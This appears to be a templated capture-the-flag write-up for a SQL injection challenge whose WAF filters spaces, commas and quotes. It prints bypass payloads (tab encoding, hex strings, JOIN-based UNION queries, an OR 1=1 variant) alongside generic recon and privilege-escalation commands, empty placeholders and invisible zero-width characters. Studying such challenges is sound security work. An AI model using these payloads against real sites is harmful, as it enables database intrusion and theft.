Dead or alive 4

Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: hex_encoding_bypass, join_comma_bypass, tab_space_bypass

Summary

Task: SQL injection with WAF filtering spaces, commas, and quotes. Solution: Bypass using TAB character (%09) for spaces, hex encoding (0x...) for quotes, and JOIN subqueries for commas.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: spbctf | ID: 20260309_webkids20_websql_bypass4
• Tags: waf_bypass, SQLi, mysql, space_bypass, quote_bypass
• Indicators: space character filtered, comma character filtered, quote character filtered, WAF blocking SQL keywords
• Source: 20260309_webkids20_websql_bypass4.md

Foothold

Vulnerability / Misconfiguration

1. Hex_encoding_bypass
2. Join_comma_bypass
3. Tab_space_bypass

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• hex_encoding_bypass
• join_comma_bypass
• tab_space_bypass
• Tags: waf_bypass, SQLi, mysql, space_bypass, quote_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SQL injection bypass challenge. URL: http://kslweb1.spb.ctf.su/SQLi/bypass4/

Multiple characters are filtered by WAF: space, comma, and quote characters.

Analysis

When attempting standard SQL injection, the request is blocked by WAF. Analysis showed the following characters are filtered:

• Spaces ( )
• Commas (,)
• Quotes (' and ")

Solution

1. Space bypass via TAB

Instead of space, use the TAB character %09:

SELECT%09*%09FROM%09users

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

2. Quote bypass via hex encoding

Instead of quoted strings, use hex representation:

-- Instead of: WHERE name = 'admin'
-- Use: WHERE name = 0x61646d696e

3. Comma bypass via JOIN

Instead of UNION SELECT 1,2,3 use:

UNION%09SELECT%09*%09FROM%09(SELECT%091)a%09JOIN%09(SELECT%092)b%09JOIN%09(SELECT%093)c

Final payload

' OR 1=1--  →  %27%09OR%091=1--

Or for UNION injection:

UNION%09SELECT%09*%09FROM%09(SELECT%091)a%09JOIN%09(SELECT%09flag%09FROM%09secret_table)b

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR